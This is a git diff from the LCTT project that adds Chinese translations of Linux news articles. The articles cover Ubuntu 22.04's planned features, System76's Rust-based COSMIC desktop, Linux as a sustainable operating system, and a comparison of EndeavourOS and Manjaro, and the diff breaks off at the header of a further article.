+====== + +> 这是一篇持续更新的文章,其中列出了即将发布的 Ubuntu 22.04 LTS “Jammy Jellyfish” 中增加的所有主要功能。 + +![](https://img.linux.net.cn/data/attachment/album/202201/14/111922mmsbgysrekae996b.jpg) + +Ubuntu 的粉丝们!现在是时候为下一个大版本,也就是 Ubuntu 22.04 LTS 感到激动了。是的。这是一个长期支持版本,它将被支持五年,直到 2027 年 4 月。 + +即将发布的 LTS 版本带来了一些新的功能。如果你正在使用 Ubuntu 20.04 LTS,你会注意到许多视觉上的变化。如果你正在使用 Ubuntu 21.10,你已经看到了大量的变化,但在这个即将发布的版本中仍然会有一些新的变化。 + +在我向你展示 22.04 中新的预期新功能之前,让我们看看它将在什么时候发布。 + +### Ubuntu 22.04 发布时间表 + +Ubuntu 22.04 的稳定版计划于 2022 年 4 月 21 日发布。开发工作已经在紧锣密鼓地进行,它将遵循如下发布时间表: + + * 2022 年 2 月 24 日:功能冻结 + * 2022 年 3 月 17 日:用户界面冻结 + * 2022 年 3 月 31 日:测试版发布 + * 2022 年 4 月 14 日:候选版本 + * **2022 年 4 月 21 日:最终稳定版本** + +现在你知道了重要的发布日期,是时候了解一下 Ubuntu 22.04 LTS 将带来的新功能了。 + +### Ubuntu 22.04 LTS “Jammy Jellyfish” 的新功能 + +由于开发工作仍在进行中,许多新功能会在不久的将来陆续加入。我将在它们被发现时进行更新。 + +现在,这里是 Ubuntu 22.04 中主要的已确认和预期的新功能。 + +#### GNOME 42 和随之而来的视觉变化 + +GNOME 42 将于 2022 年 3 月发布。它将被包含在 Ubuntu 22.04 中。 + +像往常一样,Ubuntu 将使用定制的 GNOME 版本,所以不是所有的 GNOME 42 的变化都会反映在这里。然而,由于使用了新的 libadwaita 和迁移到了 GTK 4,你还是应该看到一些视觉变化。 + +![GNOME 42 有一个重新打造的屏幕截图工具][1] + +你应该看到一个界面崭新的设置程序和重新打造的屏幕截图工具。GNOME 42 还将更新一些 GNOME 应用程序,如 Boxes,并引入一个新的文本编辑器。然而,我认为 Ubuntu 会坚持使用 Gedit 作为其默认的文本编辑器。 + +#### Grub 2.06 和它带来的麻烦 + +Ubuntu 22.04 LTS 将拥有 [Grub 引导加载程序][2] 2.06 版本,但其中有一个问题,它的 os-prober 功能默认是禁用的。 + +这意味着,如果你在一个双启动系统上,Grub 不会探测其他操作系统,因此它不会在 Grub 中列出 Windows(或其他操作系统)。一些升级到 Ubuntu 22.04 开发版本的人已经 [开始面临这个问题][3]。 + +这并不是说这个问题不能被解决,有一个变通办法。 + +安装 os-prober(通常已经安装),然后编辑 `/etc/default/grub` 文件,在这个文件中加入 `GRUB_DISABLE_OS_PROBER=false`。保存这个文件,[更新 Grub][4],Grub 现在应该可以看到其他操作系统了。 + +#### 新的固件更新程序 + +正如 [OMG! Ubuntu][5] 报道的那样,Ubuntu 22.04 可能会有一个新的固件更新程序。 + +通常情况下,GNOME 软件中心能够处理固件更新,即使在 Ubuntu 的 Snap 版本中。尽管如此,开发团队仍在努力开发一个专门的 GUI 工具来处理固件更新。 + +![图片来源:OMG! Ubuntu][6] + +这个新工具基本上是 `fwupd` 的基于 Flutter 和 Dart 的 GUI 前端,`fwupd` 是一个命令行工具,用于获取 [Linux 供应商的固件][7]。 + +#### 新的安装程序 + +![新的 Ubuntu 安装程序][8] + +这个基于 Flutter 的新安装程序已经开发了很长时间。它本来应该和 Ubuntu 21.10 一起推出,但并没如期实现。有一个单独的 Ubuntu 21.10 预览版,其中有这个新的安装程序,它将成为 Ubuntu 22.04 的默认安装程序。 + +新的安装程序与 Ubuntu 桌面风格无缝整合,从而使 Ubuntu 22.04 从一开始就具有更现代的外观和感觉。 + +#### 改进对树莓派的支持 + +随着 20.10 版本的发布,Ubuntu 开始支持树莓派设备上运行桌面版。虽然它可以在 8GB 版本的树莓派上工作,但在 4GB 上却很吃力,在 2GB 型号上也无法工作。 + +随着 Ubuntu 22.04 的推出,其性能应该会得到改善,特别是它 [引入了 zswap][9]。 + +#### 其他变化 + +在软件供应方面,你应该看到一些其他变化。大多数著名的软件应该有较新的版本。其中一些是: + + * OpenSSL 3.0 + * Ruby 3.0 + * Python 3.10 + * PHP 8.1 + * GCC 11(预计) + +目前还没有确认,但更有可能的是 Ubuntu 22.04 将采用 Linux 内核 5.17。 + +正如我之前所说,一切正在开发中,一旦有更多的新功能被披露,我将立即更新这篇文章。 + +### 获取 Ubuntu 22.04 LTS + +**警告**:Ubuntu 22.04 仍在努力开发中,你不应该在生产机器或你的主系统上使用它。 + +如果你想在备用机或虚拟机上测试它,你可以从 Ubuntu 的网站上下载日常构建版。 + +- [下载 Ubuntu 22.04 日常构建版(不稳定)][10] + +如果你在备用机上使用 Ubuntu 20.04 LTS 或 Ubuntu 21.10,你可以强制升级到开发分支。 + +### 你期待 Ubuntu 22.04 的哪些功能? + +很明显,GNOME 42 将是 Ubuntu 22.04 的最大亮点。你希望在这个新的 LTS 版本中看到哪些功能? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/ubuntu-22-04-release-features/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/gnome-42-screenshot-tool.png?resize=800%2C600&ssl=1 +[2]: https://itsfoss.com/what-is-grub/ +[3]: https://itsfoss.community/t/windows-10-boot-option-missing-in-grub-after-upgrading-to-ubuntu-22-04-developer-version/8306/5 +[4]: https://itsfoss.com/update-grub/ +[5]: https://www.omgubuntu.co.uk/2021/11/ubuntu-is-working-on-a-new-firmware-updater-app +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/gnome-firmware-on-ubuntu.jpg?resize=800%2C436&ssl=1 +[7]: https://fwupd.org/ +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/ubuntu-new-installer.jpeg?resize=720%2C478&ssl=1 +[9]: https://www.omgubuntu.co.uk/2022/01/ubuntu-on-raspberry-pi-4-2gb-zswap +[10]: https://cdimage.ubuntu.com/daily-live/current/ diff --git a/published/202201/20220114 I Tried System76-s New Rust-based COSMIC Desktop.md b/published/202201/20220114 I Tried System76-s New Rust-based COSMIC Desktop.md new file mode 100644 index 0000000000..26ab9a4190 --- /dev/null +++ b/published/202201/20220114 I Tried System76-s New Rust-based COSMIC Desktop.md @@ -0,0 +1,124 @@ +[#]: subject: "I Tried System76’s New Rust-based COSMIC Desktop!" +[#]: via: "https://news.itsfoss.com/system76-rust-cosmic-desktop/" +[#]: author: "Community https://news.itsfoss.com/author/team/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14186-1.html" + +提前了解一下 System76 新的基于 Rust 的 COSMIC 桌面 +===== + +> 提前了解一下 Pop!_OS 即将推出的基于 Rust 的 COSMIC 桌面环境。仅供参考。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/system76-rust-based-distro-ft.png?w=1200&ssl=1) + +如果你还不知道,System76 的开发者一直在 [致力于开发一个新的桌面环境][1](被称为 COSMIC),它是用 [Rust][2] 编写的,Rust 是一种内存安全的超快编程语言。 + +从头开始创建一个桌面环境不是一件小事。这涉及到创建从合成器、面板、窗口管理器到桌面环境的 API 和其他后端任务的一切。 + +这不是一件容易的事,而维护它又是另一回事。 + +而且,看起来 System76 已经开始了这方面的工作。 + +在 GitHub 上,你会发现已经有一个名为 [cosmic][3] 的仓库,但它主要是使用 JavaScript(用于创建 GNOME shell 扩展的语言)编写的。这就是 cosmic shell 扩展仓库,也就是 Pop!_OS 现在所搭载的。 + +在他们的 GitHub 中还有几个较新的仓库,这些恰好是他们即将推出的基于 Rust 的 COSMIC 桌面的元素。 + +所以,现在是时候构建、测试并提前了解一下了。 + +> **注:** 澄清一下,目前 Pop!_OS 上基于 GNOME 的桌面环境叫做 COSMIC。而本文讨论的是基于 Rust 的 COSMIC 桌面环境,它是从头开始构建的,旨在取代当前的产品。 + +### 基于 Rust 的 COSMIC 桌面体验 + +打算成为 COSMIC 桌面环境整体一部分的三个仓库是: + + * [设置应用][4] + * [顶部面板][5](目前用于 X11 系统) + * [合成器][6](似乎支持原生的 wayland、xwayland 和 X11 系统) + +#### COSMIC 设置应用 + +![][7] + +> **注意:** 这是一个半生不熟的早期预览,以让你有个大致印象。随着开发的继续,用户界面可能会有根本性的变化。所以,仅用于参考。 + +这是 Pop!_OS 的新 COSMIC 桌面的设置应用。它目前还在开发当中,没有准备好使用,不过如果你想运行它并试试界面,请随意! + +那么,它看起来与目前的 COSMIC 体验有什么不同呢? + +![基于 Rust 的 COSMIC 设置与基于 GNOME 的 COSMIC][8] + +在写这篇文章时,该用户界面似乎没有与任何后端 API 相连接。启用和禁用 “为工作区启用左上角热角 ”的切换并没有什么变化,其他的切换也是如此,除了设置应用的 “关于” 部分所显示的信息。 + +仔细看截图,放置的位置很凌乱,但作为早期预览(或原型)来说也是正常的。 + +看起来他们正在用圆角和更干净的外观来处理一切。 + +切换动画感觉快速、流畅和迅捷(即使是在虚拟机内,我等不及在裸机上尝试)。但考虑到它甚至还没有功能,谈论性能没什么意义。 + +![][9] + +就个人而言,我不喜欢他们所采用的圆角外观。在我看来,GNOME 对圆角的实现是完美的。但是,看看它的结果应该是很有趣的。 + +#### 顶部面板 + +作为 COSMIC 桌面环境的一部分,顶部面板也正在使用 Rust 语言实现。 + +至于这个顶部面板的外观,我不太确定如何测试它才不算对它不公平。从 GNOME 中启动它,会在 GNOME 的顶栏后面打开它。所以我想在一个单独的窗口管理器中打开它(到目前为止只用 [bspwm][10] 和 [i3-wm][11] 试过),但这导致了一些古怪的行为,比如面板像普通 GUI 软件一样占据了全部垂直空间。 + +#### COSMIC 合成器 + +COSMIC 桌面环境的合成器编译成功了,但在与 bspwm 或 i3-wm 一起使用时却无法启动。我试着在窗口管理器中启动它,因为 GNOME 不允许改变合成器。 + +这是由于在使用 VirtualBox 的虚拟机中,视频驱动的混乱以及 COSMIC 合成器还没有准备好。 + +但是,还有更多! + +开发者 Eduardo Flores 也尝试了新的 COSMIC 桌面,在他的 [博客文章][12] 中分享了一些应用启动器和坞站的截图。 + +![来自 Eduardo Flores][13] + +应用程序启动器看起来很相似,但是使用 GTK 构建的。同样,你也可以期待 [Pop!_OS 21.10][14] 引入一个类似的应用程序库,以及经典的坞站。 + +![来自 Eduardo Flores][15] + +### 总结 + +当然,现在说发展的方向还为时过早。 + +要期待一个成熟的基于 Rust 的 COSMIC 桌面体验的测试版,应该还需要一段时间。 + +但是,从我们在这里看到的情况来看,我很兴奋。 + +你怎么看?欢迎你在下面的评论中分享你的想法! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/system76-rust-cosmic-desktop/ + +作者:[Pratham Patel][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/pop-os-cosmic-rust/ +[2]: https://research.mozilla.org/rust/ +[3]: https://github.com/pop-os/cosmic +[4]: https://github.com/pop-os/cosmic-settings +[5]: https://github.com/pop-os/cosmic-panel +[6]: https://github.com/pop-os/cosmic-comp +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/pop-os-cosmic-settings-early.png?w=963&ssl=1 +[8]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/pop-os-settings-new-old-early.png?resize=1568%2C705&ssl=1 +[9]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/pop-os-new-old-cosmic.png?w=1387&ssl=1 +[10]: https://github.com/baskerville/bspwm +[11]: https://github.com/i3/i3 +[12]: https://blog.edfloreshz.dev/articles/linux/system76/rust-based-desktop-environment/ +[13]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/new_launcher.png?w=770&ssl=1 +[14]: https://news.itsfoss.com/pop-os-21-10/ +[15]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/new_app_library.png?w=1200&ssl=1 diff --git a/published/202201/20220114 What makes Linux the sustainable OS.md b/published/202201/20220114 What makes Linux the sustainable OS.md new file mode 100644 index 0000000000..132f9009ea --- /dev/null +++ b/published/202201/20220114 What makes Linux the sustainable OS.md @@ -0,0 +1,72 @@ +[#]: subject: "What makes Linux the sustainable OS" +[#]: via: "https://opensource.com/article/22/1/linux-sustainable-os" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14210-1.html" + +是什么让 Linux 成为可持续的操作系统 +====== + +> Linux 有助于弥合数字鸿沟,延长硬件的使用寿命,使得它成为操作系统的一个环保选择。 + +![](https://img.linux.net.cn/data/attachment/album/202201/24/112042k6sonl2qqvnp6nqb.jpg) + +与大流行病作斗争,造成了生产新电脑所需的微芯片的短缺。此外,一些较新的专有操作系统提高了它们的硬件标准(LCTT 译注:Windows 11,别扭头看别人)。这个难题为我们这些在日常生活中使用 Linux 的人创造了一个机会。 + +### 延长硬件的生命周期 + +长期以来,Linux 一直以延长老旧硬件的寿命而闻名。这种能力对那些每天使用电脑的人来说是个福音。 + +在过去的一年里,我已经帮助许多人使用 Linux 翻新和 [改装旧电脑][2]。基于 Linux 的电脑耗电更少,启动速度更快。[Gnome][3] 桌面很好,但许多旧电脑更适合 [LXDE][4] 或 [XFCE][5] 环境,它们运行需要较少的资源。 + +像 [FreeGeek][6] 和 [Kramden Institute][7] 这样的组织已经把弥合数字鸿沟作为他们的核心使命,并以此为目标。这些团体对旧电脑进行了再利用,使它们不被当成垃圾填埋,而是把它们送到需要它们的用户手中。没有 Linux,就没有这些项目。 + +[DD-Wrt][8]、[OpenWrt][9] 和 [Tomato][10] 都是 Linux 解决方案,使旧的网络硬件不被当成垃圾丢弃,并同时为用户的路由器提供更多的安全、隐私和性能。 + +借助 [GalliumOS][11] 和 [Mrchromebox.tech][12],即使是 Chromebooks 在谷歌停止支持后也能获得新的生命。 + +### 新的机会 + +Linux 创造了一些本来不存在的机会。学生和业余爱好者都在没有投资的情况下开始了计算机科学的成功事业,这要归功于他们在旧电脑上学到的经验。这些系统运行企业级软件,如 [LAMP][13] 栈,它促进了向 “Web 2.0” 的过渡。它是最早的 Web 开源软件栈之一。今天,它为 WordPress、Drupal 和 Joomla 系统提供了动力。事实上,Linux 为超过 96% 的世界前 100 万台 Web 服务器提供动力。Linux 还管理着 [嵌入式系统][14]、电子阅读器、智能电视、智能手表 [等等][15]。Linux 是世界上远远 [超过 70%][16] 的智能手机的操作系统。甚至美国国家航空航天局(NASA)今年在火星上创造历史的 [毅力号][17],也是由 Linux 驱动的。 + +为当今大多数应用提供动力的云计算,没有 Linux 就不可能存在。今天的大多数 Web 和智能手机应用都在基于 Linux 的 [容器][18] 中运行。即使在微芯片短缺和专有系统成本高昂的情况下,进入云服务行业的人也有机会学习开源的操作系统和软件。 + +### 未来 + +但最恰当的是,Linux 和开源为 [联合国可持续发展目标][19] 提供了动力。随着大流行的继续,Linux 仍然是一个重要的资源。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/linux-sustainable-os + +作者:[Don Watkins][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003499_01_linux31x_cc.png?itok=Pvim4U-B (5 pengiuns floating on iceburg) +[2]: https://opensource.com/article/21/4/restore-macbook-linux +[3]: https://www.gnome.org/ +[4]: https://www.lxde.org/ +[5]: https://xfce.org/ +[6]: https://opensource.com/article/21/4/linux-free-geek +[7]: https://opensource.com/education/16/2/kramden-helps-bridge-digital-divide +[8]: https://dd-wrt.com/ +[9]: https://openwrt.org/ +[10]: https://www.freshtomato.org/ +[11]: https://galliumos.org +[12]: https://mrchromebox.tech +[13]: https://en.wikipedia.org/wiki/LAMP_%28software_bundle%29 +[14]: https://opensource.com/article/20/6/open-source-rtos +[15]: https://opensource.com/article/19/8/everyday-tech-runs-linux +[16]: https://gs.statcounter.com/os-market-share/mobile/worldwide/ +[17]: https://mars.nasa.gov/mars2020/spacecraft/rover/ +[18]: https://opensource.com/resources/what-are-linux-containers +[19]: https://opensource.com/article/21/11/open-source-un-sustainability diff --git a/published/202201/20220115 EndeavourOS and Manjaro- An in-depth Comparison Between Two of the Best Arch Linux Based Distros.md b/published/202201/20220115 EndeavourOS and Manjaro- An in-depth Comparison Between Two of the Best Arch Linux Based Distros.md new file mode 100644 index 0000000000..f5a7e3ebb6 --- /dev/null +++ b/published/202201/20220115 EndeavourOS and Manjaro- An in-depth Comparison Between Two of the Best Arch Linux Based Distros.md @@ -0,0 +1,254 @@ +[#]: subject: "EndeavourOS and Manjaro: An in-depth Comparison Between Two of the Best Arch Linux Based Distros" +[#]: via: "https://itsfoss.com/endeavouros-vs-manjaro/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14183-1.html" + +EndeavourOS vs. Manjaro:两个基于 Arch Linux 的最佳发行版之间的深度比较 +====== + +如果你曾经尝试过使用 Arch Linux,你就知道如果没有适当的文档和 Linux 知识,几乎不可能安装它。而实际上,这就是 Arch Linux 的 [魅力][1]。 + +但由于 Arch Linux 属于专业级的 Linux 发行版,因此有几个 [基于 Arch 的发行版,它们试图让普通人可以更轻松地使用它们][2]。 + +当谈到 “基于 Arch 的 Arch 替代品” 时,Manjaro 和 EndeavourOS 是两个最受欢迎的选择。 + +所以让我们来看看这两个的区别。为什么你要选择其中一个而不是另一个? + +![][3] + +### 桌面变体 + +这两个发行版都有多种桌面风格。Manjaro 有三种官方风格:Xfce、KDE 和 GNOME。此外还有社区版:Budgie、Cinnamon、Deepin、Mate、Sway 和 i3。 + +Endeavour OS 官方提供了更多的变体。除了 Manjaro 所拥有的那些,它还有 LXQT、BSPWM、Openbox 和 Qtile。 + +由于每种风格都有不同的 [桌面环境][4](DE)及特定于该桌面的捆绑应用程序。这就导致了没有一个“严格”的最低系统要求基线。 + +[根据 EndeavourOS 的网站][5],下面是每种桌面环境对内存的系统要求清单(对 Manjaro 也应该是一样的): + + * Xfce - 至少 2GB 内存,但建议 4GB。 + * Mate - 至少 2GB 内存,但建议 4GB。 + * Cinnamon - 需要至少 4GB 的内存 + * Gnome - 至少需要 4GB 的内存(假设对 KDE 相同) + * Budgie - 至少需要 4GB 的内存 + * Plasma - 至少需要 4GB 的内存 + * LXQT - 至少需要 2GB 的内存,但建议 4GB + +### 获取 ISO + +正如我上面提到的,Manjaro 和 EndeavourOS 有各种各样的风格。这意味着,我不能给你指出一个单一的 ISO 下载链接。但是,出于本文比较操作系统的意图和目的,我选择了默认的产品 —— Xfce 风格的 ISO。 + +- [下载 Manjaro][6] +- [下载 EndeavourOS][7] + +### 安装操作系统 + +EndeavourOS 和 Manjaro 都使用 Calameres 安装程序,并在其 GRUB 启动菜单中提供了一些有用的选项。 + +#### EndeavourOS 的安装 + +当你首次启动 EndeavourOS 时,它将向你展示一个 GRUB 菜单,有以下选项: + + * 使用 Intel/AMD 驱动启动(**默认选项**) + * 使用专有的 NVIDIA 图形驱动启动 + * 运行 [Memtest86+][8](内存测试) + * 运行 [HDT][9](硬件检测工具) + +EndeavourOS 启动后,它的欢迎屏幕将为你提供一些选项。 + +这些选项用来管理分区、安装社区版本、更新镜像和启动安装程序。 + +![EndeavourOS 安装程序上的选项列表][10] + +有两个选项用于安装: + + * 在线 - 让你选择把你的桌面环境改成 Xfce 以外的其它桌面。 + * 离线 - 给你提供带有 EndeavourOS 主题的 Xfce 桌面。 + +如前所述,EndeavourOS 使用开源的 Calameres 安装程序。但在此基础上,它还为你提供了一些选项,以便更好地控制用户体验和安装。 + +EndeavourOS 安装程序提供的可用选项列举如下: + + * [LTS 内核][11](与最新的稳定内核 *并列*) + * XFCE4 + * KDE + * GNOME + * i3 WM + * Mate 桌面环境 + * Cinnamon 桌面环境 + * Budgie 桌面环境 + * LXQT + * LXDE + +EndeavourOS 安装程序中的无障碍工具列表如下: + + * espeak-ng: 开源的文本朗读合成器 + * mousetweaks: 指针设备的无障碍增强工具 + * orca:可编写脚本的屏幕阅读器 + +#### Manjaro 的安装 + +![][12] + +当你第一次启动 Manjaro 时,你会看到一个 GRUB 菜单,有以下选项: + + * 使用 Intel/AMD 驱动启动(**默认选项**) + * 使用专有的 NVIDIA 图形驱动启动 + * 运行内存测试([不再包括 Memtest,而且在 UEFI 模式下似乎也没有了][13]) + +除了 Manjaro 开发人员对 Calameres 安装程序所做的品牌和操作系统特定的改变之外,原版 Calameres 安装程序和你在 Manjaro 上的没有什么区别。 + +![][14] + +> **Calameres 不是 Manjaro 的唯一安装程序** +> +> 如果你想在 Manjaro 上进行自定义安装,你可以使用 [Manjaro Architect][15] ISO 来进行完全自定义的 CLI 安装。 +> +> **请记住,在写这篇文章的时候,Manjaro 的 Architect 版本 [似乎没有被维护][16],有一个未解决的软件包冲突。如果你有必要的技能和时间,请帮助维护这个项目** : ) + +这可能是一件好事,也可能是一件坏事,取决于你问谁。 + +在我看来,如果你是第一个 Linux 发行版就使用 Manjaro 的初学者,那么你的选择最好是有限的。 + +这意味着更少的进入门槛,可供选择的声音服务器、显示服务器、显示管理器和/或窗口管理器太多会造成进入门槛。 + +一旦你对 Linux 发行版有了足够的了解,就可以对你的系统进行修补,随心所欲地添加一些东西。 + +如果你想定制你安装的系统,你必须在你的操作系统安装好后进行。 + +### 首次启动 + +在你安装了 Manjaro 或 EndeavourOS 之后,你会看到一个欢迎屏幕,对于一个刚接触 Linux 的人,或者刚接触 Manjaro 或 EndeavourOS 或基于 Arch 的发行版的人来说,它有一些有用的选项。 + +EndeavourOS 的选项包括更新镜像、更新系统、改变显示管理器(lightdm、gdm、lxdm 和 sddm)、浏览 AUR 软件包、安装 libreoffice、chromium、akm([一个内核管理器][17])等软件包。 + +在 Manjaro 方面,与 EndeavourOS 相比,我认为提供的选项是有限的,但我觉得它是“足够的有限”。 + +这只是你(作为初学者)开始使用 Manjaro 所需要的适当数量的东西。 + +Manjaro 欢迎屏幕上的几个选项是官方维基的链接、支持论坛、邮件列表、参与 Manjaro 开发、安装和/或删除应用程序等。 + +Manjaro 和 EndeavourOS 的欢迎屏幕上都有一个选项,如果你喜欢该项目和它的方向,你可以选择捐赠,但只有你有足够的钱才能这样做。 + +### 软件打包 + +让我们面对现实吧,操作系统的安装只是 Linux 发行版的一个部分。 + +软件包管理器和软件打包的方式对 Linux 发行版的稳定程度起着重要作用。 + +如果你在更新/安装一个软件包时,它更新了一个已经安装的库 —— 而其他软件包依赖于它,那么……这就很糟糕。它创造了所谓的“依赖性地狱”。软件包管理器应该处理这个问题。 + +那么,Manjaro 和 EndeavourOS 在这方面怎么比较呢? + +好吧,因为 Manjaro 和 EndeavourOS 都是基于 Arch Linux 的,它们使用 Arch Linux 使用的 [pacman 软件包管理器][18]。pacman 的许多功能之一是它为你处理依赖关系。 + +#### Manjaro + +尽管 Manjaro 使用 pacman 软件包管理器,但 Manjaro 有自己的软件库。 + +软件包每天从 Arch Linux 中取出,并在 Manjaro Unstable 软件库中 “镜像”,然后推送到 Manjaro Testing,用于 —— 你猜对了 —— 测试。 + +一旦这些软件包被认为是稳定的,它们就会被推送到主软件库供其他人安装。 + +安全更新则是通过 Manjaro 所谓的 “快速跟踪” 直接推送到公共软件包库,以更快地解决问题。 + +![Manjaro 测试 Arch Linux 软件包的稳定性][19] + +这种测试软件包的方法可以确保不会因为某某被修改而出现意外的软件包损坏。 + +但是,这也意味着用户需要等待几周(通常是 2 到 4 周),才可以安装新版本的软件。 + +#### EndeavourOS + +EndeavourOS 没有自己的软件库。他们依赖于 Arch Linux 主软件库,如果你使用 EndeavourOS,这样做你会得到最 “普通” 的体验。 + +如果你在同一台机器上安装 Arch Linux 和 EndeavourOS,除了桌面环境或窗口管理器和/或它们的主题以及安装体验外,几乎所有东西都应该保持不变。 + +### 包含的软件包 + +现在,你可能已经注意到 Manjaro 和 EndeavourOS 之间的差异模式了。 + +#### EndeavourOS + +EndeavourOS 在理念上优先考虑最接近 Arch Linux。 + +有自定义的安装?有。 + +只安装必要的软件包以获得完整的桌面体验?对。 + +在发行库中拥有最前沿的软件包?没错。 + +EndeavourOS 让你有机会学习 Arch,而无需同时学习 EFI、驱动搜索和安装(看着你的 nVidia)、桌面环境/窗口管理器、显示管理器等。 + +它可以一次性设置好所有东西,让你有时间按照自己的节奏学习 Arch Linux 的内部工作。 + +![EndeavourOS 的强制 neofetch 截图][20] + +#### Manjaro + +而 Manjaro,在你使用它的整个过程中,它一直握着你的手(看看我做了什么?)。它处理从安装到软件包稳定性的一切,并让你可以即时获得安全更新。 + +它旨在用作你计算机的通用操作系统。 + +它默认安装了相当多的开源应用程序。这对一个新的 Linux 用户来说是非常有帮助的。 + +它为你安装了一些应用程序,如音频播放器、GUI 防火墙(gufw)、GIMP、HP 设备管理器、电子邮件客户端(thunderbird)、视频播放器(vlc)、办公套件(onlyoffic 桌面版)。 + +![Manjaro 的强制 neftech 截图][21] + +### 我应该使用哪个? + +嗯,这是你的决定。我只能根据他们的使用情况和目标受众推荐一个或两个。 + +如果你自认是一个普通电脑用户,只需要办公套件([LibreOffice][22]、[ONLYOFFICE][23])、媒体播放器和网页浏览器来做你的事情,我建议你试试 Manjaro,因为他们自己的仓库有 [大部分] 稳定的软件包,而且安装起来不费事。 + +但是,另一方面,如果你是一个以前使用过 [Ubuntu][24]、[Pop!_OS][25]、[Linux Mint][26]、[ElementaryOS][27]、[Fedora][28] 等发行版的人,现在想学习如何从窗口管理器到 GRUB 菜单来安装你的 Linux 发行版(没错,[构建 GRUB 也是个事][29])。所以,如果你需要一个像 Arch 一样的基本 Linux 发行版,我会向你推荐 EndeavourOS。 + +现在你也可以说:*告诉 Fedora*,我使用 Arch 了。 ( ͡° ͜ʖ ͡°) + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/endeavouros-vs-manjaro/ + +作者:[Pratham Patel][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/why-arch-linux/ +[2]: https://itsfoss.com/arch-based-linux-distros/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/manjrao-vs-endeavouros.png?resize=800%2C450&ssl=1 +[4]: https://itsfoss.com/what-is-desktop-environment/ +[5]: https://endeavouros.com/ +[6]: https://manjaro.org/download/ +[7]: https://endeavouros.com/latest-release/ +[8]: https://www.memtest.org/ +[9]: https://wiki.syslinux.org/wiki/index.php?title=Hdt_(Hardware_Detection_Tool) +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/01_endeavour_options.webp?resize=800%2C434&ssl=1 +[11]: https://itsfoss.com/linux-kernel-release-support/ +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2019/03/manjaro_install_grub.png?resize=800%2C597&ssl=1 +[13]: https://forum.manjaro.org/t/memory-test-no-longer-included-on-live-isos/62074/2 +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2019/03/manjaro_install_welcome.png?resize=800%2C452&ssl=1 +[15]: https://wiki.manjaro.org/index.php/Installation_with_Manjaro_Architect +[16]: https://forum.manjaro.org/t/maintainer-s-wanted/19502 +[17]: https://discovery.endeavouros.com/endeavouros-tools/akm/2021/08/ +[18]: https://archlinux.org/pacman/pacman.8.html +[19]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/04_manjaro_repos.webp?resize=569%2C439&ssl=1 +[20]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/03_neofetch_endeavouros-1.webp?resize=800%2C434&ssl=1 +[21]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/02_neofetch_manjaro-1.webp?resize=800%2C434&ssl=1 +[22]: https://www.libreoffice.org/ +[23]: https://www.onlyoffice.com/ +[24]: https://ubuntu.com/ +[25]: https://pop.system76.com/ +[26]: https://linuxmint.com/ +[27]: https://elementary.io/ +[28]: https://getfedora.org/ +[29]: https://www.reddit.com/r/unixporn/comments/m5522z/grub2_had_some_fun_with_grub/ diff --git a/published/202201/20220117 Get Ready for an Upgrade- Ubuntu 21.04 Will Reach End of Life This Week.md b/published/202201/20220117 Get Ready for an Upgrade- Ubuntu 21.04 Will Reach End of Life This Week.md new file mode 100644 index 0000000000..1aeae5cdd0 --- /dev/null +++ b/published/202201/20220117 Get Ready for an Upgrade- Ubuntu 21.04 Will Reach End of Life This Week.md @@ -0,0 +1,82 @@ +[#]: subject: "Get Ready for an Upgrade! Ubuntu 21.04 Will Reach End of Life This Week" +[#]: via: "https://news.itsfoss.com/ubuntu-21-04-eol/" +[#]: author: 